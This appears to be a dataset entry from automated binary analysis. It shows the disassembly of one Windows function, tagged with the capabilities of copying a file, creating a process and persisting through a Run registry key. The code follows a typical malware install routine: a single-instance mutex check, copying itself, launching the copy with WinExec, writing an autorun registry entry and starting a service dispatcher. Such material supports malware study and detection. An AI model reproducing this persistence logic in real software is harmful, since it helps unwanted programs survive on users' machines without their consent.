Function at 0x4a1e48
Capabilities:
Copy file
Create process on windows
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
mov ecx, 4
push 0
push 0
dec ecx
jne 0x4a1e50
push ecx
push ebx
push esi
push edi
mov eax, 0x4a1a10
call fcn.00406b54
xor eax, eax
push ebp
push 0x4a2157
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0049c7d4
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00402b9c
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x14]
call fcn.00409848
mov eax, dword [ebp - 0x14]
call fcn.00404e5c
push eax
push 0x4a2168
call sub.kernel32.dll_lstrcmpiA
test eax, eax
sete al
test al, al
je 0x4a1eba
mov byte [0x4a7f64], 0
call fcn.004a185c
jmp 0x4a213c
mov eax, dword [0x4a5858]
mov eax, dword [eax]
call fcn.00404e5c
push eax
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.00402b9c
mov eax, dword [ebp - 0x1c]
call fcn.00404e5c
push eax
call sub.kernel32.dll_lstrcmpiA
test eax, eax
je 0x4a20e9
push 0x4a2178
push 0xffffffffffffffff
push 0
call fcn.00406ddc
mov ebx, eax
test ebx, ebx
je 0x4a1f19
call sub.kernel32.dll_GetLastError_1
cmp eax, 0xb7
jne 0x4a1f19
push ebx
call sub.kernel32.dll_CloseHandle_1
push 0
call sub.kernel32.dll_ExitProcess_1
lea edx, [ebp - 0x20]
mov eax, dword [0x4a5858]
mov eax, dword [eax]
call fcn.004a0bcc
mov edx, dword [ebp - 0x20]
mov eax, 0x4a7f68
call fcn.004049f0
mov eax, dword [0x4a7f68]
call fcn.0049d8a4
xor eax, eax
push ebp
push 0x4a1fec
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0049c0c0
mov eax, dword [0x4a5858]
mov eax, dword [eax]
call fcn.0040950c
test al, al
je 0x4a1faa
mov eax, 0xbb8
call fcn.0049da10
mov eax, dword [0x4a5858]
mov eax, dword [eax]
xor edx, edx
call fcn.0040963c
mov eax, dword [0x4a5858]
mov eax, dword [eax]
call fcn.00409758
mov eax, dword [0x4a5858]
mov eax, dword [eax]
call fcn.0040950c
test al, al
je 0x4a1faa
push 0
call sub.kernel32.dll_ExitProcess_1
push 0
mov eax, dword [0x4a5858]
mov eax, dword [eax]
call fcn.00404e5c
push eax
lea edx, [ebp - 0x24]
xor eax, eax
call fcn.00402b9c
mov eax, dword [ebp - 0x24]
call fcn.00404e5c
push eax
call sub.kernel32.dll_CopyFileA
mov eax, dword [0x4a5858]
mov eax, dword [eax]
mov edx, 7
call fcn.0040963c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4a1ff6
call fcn.0049f7c0
test al, al
je 0x4a206a
mov eax, dword [0x4a58fc]
cmp byte [eax], 0
je 0x4a206a
mov eax, dword [0x4a5b78]
mov eax, dword [eax]
call fcn.00459c2c
push 0x3e8
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x4a55e4]
mov eax, dword [eax]
push eax
mov eax, dword [0x4a59cc]
mov eax, dword [eax]
call fcn.00404e5c
push eax
mov eax, dword [0x4a5b78]
mov eax, dword [eax]
call fcn.00404e5c
mov ecx, dword [0x4a5858]
mov ecx, dword [ecx]
pop edx
call fcn.0045965c
test al, al
jne 0x4a2059
push 0
call sub.kernel32.dll_ExitProcess_1
mov edx, dword [0x4a5b78]
mov edx, dword [edx]
xor eax, eax
call fcn.0045946c
jmp 0x4a20b4
push 0
mov eax, dword [0x4a5858]
mov eax, dword [eax]
call fcn.00404e5c
push eax
call sub.kernel32.dll_WinExec
mov eax, dword [0x4a57c8]
cmp byte [eax], 0
je 0x4a20b4
mov eax, dword [0x4a5858]
mov eax, dword [eax]
call fcn.00404e5c
push eax
push 1
mov eax, dword [0x4a5654]
mov eax, dword [eax]
call fcn.00404e5c
mov ecx, eax
mov edx, 0x4a218c
mov eax, 0x80000001
call fcn.004588c0
mov eax, dword [0x4a5bdc]
cmp byte [eax], 0
je 0x4a20d1
push 0x40
push 0x4a21bc
push 0x4a21c4
push 0
call sub.user32.dll_MessageBoxA_1
mov eax, dword [0x4a55b0]
cmp byte [eax], 0
je 0x4a20e0
call fcn.004a1474
push 0
call sub.kernel32.dll_ExitProcess_1
call fcn.0049f7c0
cmp al, 1
jne 0x4a2137
mov byte [0x4a7f64], 1
mov eax, dword [0x4a58fc]
cmp byte [eax], 1
jne 0x4a2130
mov eax, dword [0x4a5b78]
mov eax, dword [eax]
call fcn.00404e5c
mov edx, dword [0x4a58c8]
mov dword [edx], eax
mov eax, dword [0x4a58c8]
mov dword [eax + 4], 0x4a1934
mov eax, dword [0x4a58c8]
push eax
call sub.advapi32.dll_StartServiceCtrlDispatcherA
jmp 0x4a213c
call fcn.004a185c
jmp 0x4a213c
call fcn.004a185c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a215e
lea eax, [ebp - 0x24]
mov edx, 5
call fcn.004049c0
ret